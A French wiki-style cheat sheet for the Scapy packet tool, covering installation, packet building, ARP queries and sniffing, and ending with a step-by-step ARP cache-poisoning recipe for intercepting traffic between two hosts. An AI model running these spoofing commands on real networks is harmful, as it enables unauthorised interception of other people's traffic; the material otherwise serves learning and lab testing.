====== Scapy ======
==== Installation ====
Cloner le [[https://github.com/secdev/scapy|dépôt GitHub]] pour avoir la dernière version.
Installer les paquets ''ipython'' et ''tcpdump''.
Lancer en root: sudo ./run_scapy
==== Table de routage ====
== Voir la table de routage ==
conf.route.route('')
Cette table de routage est construite en copiant celle du système au démarrage de Scapy.
==== Construire un paquet ====
pkt = Ether(dst="") / IP(dst="") / UDP(dport=53) / DNS()
Décrire un paquet: ls(IP())
==== Envoi de paquet ====
Envoi d'un paquet de niveau 3: send(IP())
Envoi d'un paquet de niveau 2: sendp(Ether() / IP(), iface='eth0')
Si attente d'une réponse: ''sr1()'' ou ''srp1()''
==== Paquets ARP ====
srp1(Ether(dst=ETHER_BROADCAST, ARP(op="who-has", pdst="172.21.123.45")))
Envoi de paquets à une plage IP:
ans, unans = srp(Ether(dst=ETHER_BROADCAST, ARP(pdst="192.168.0.0/24")), timeout=2, retry=-2)
ans.show() #: formate tous les paquets reçus de façon sympa
''ans'' contient des couples ''(paquet_envoyé, paquet_reçu)'', ''unans'' contient les paquets envoyés sans réponses.
Connaître l'adresse MAC qui répond à une IP:
ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op="who-has", pdst="172.21.254.1"),timeout=2)
results = []
for i in range(1,5):
ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op="who-has", pdst="172.21.254." + str(i)),timeout=2)
results.append(ans[0][1].psrc + " " + ans[0][1].hwsrc)
for x in results: print(x)
==== Paquets 802.1Q ====
Dot1Q()
==== Sniffer le réseau ====
pkts = sniff(filter="host A and tcp", prn=lambda p: p.summary)
ou pour mettre en forme l'affichage:
pkts = sniff(filter="host A and tcp", prn=lambda p: p.summary + p.sprintf("seq: %TCP.seq% ack: %TCP.ack%"))
==== Outils ====
Aléatoire (pour changer le port à chaque requête par exemple): RandShort()
S'assurer que le paquet a les flags ''SYN'' et ''ACK'' activés: [TCP].flags & 18
==== Spoofer le réseau ====
Récupérer le trafic entre les machines A et B:
- Activer le routage des paquets: sudo sysctl net/ipv4/ip_forward=1 et désactiver les redirections de politesse: sudo sysctl net/ipv4/conf/all/send_redirects=0
- Adapter le parefeu (pas de règles bizarres), notamment autoriser le forwarding: sudo iptables -P FORWARD ACCEPT
- Récupérer les adresses MAC des adresses IP A et B:
srp1(Ether(dst=ETHER_BROADCAST)/ARP(pdst="",psrc=""))
srp1(Ether(dst=ETHER_BROADCAST)/ARP(pdst="",psrc=""))
L'adresse MAC se trouve dans le champ ''src'' de la trame Ethernet.
- Cache-poisoning des tables ARP de A et B:
sendp(Ether(src="",dst="")/ARP(op="who-has",psrc="",pdst=""), inter=1, loop=1)
sendp(Ether(src="",dst="")/ARP(op="who-has",psrc="",pdst=""), inter=1, loop=1)
Si on met ''inter=RandNum(10, 40)'' , l'intervalle de temps varie entre 10 et 40 secondes (pas obligatoire), ''loop=1'' lance l'exécution en boucle.
- Sniffer le réseau:pkts = sniff(filter="host or host ", prn=lambda p: p.summary)
Astuce: pour éviter de lancer deux instances de Scapy pour corrompre les tables:
pkts = [Ether(src="",dst="")/ARP(op="who-has",psrc="",pdst=""), Ether(src="",dst="")/ARP(op="who-has",psrc="",pdst="")]
srploop(pkts, inter=1, store=False)
''store=False'' permet d'éviter de stocker en mémoire les paquets, pour préserver la RAM.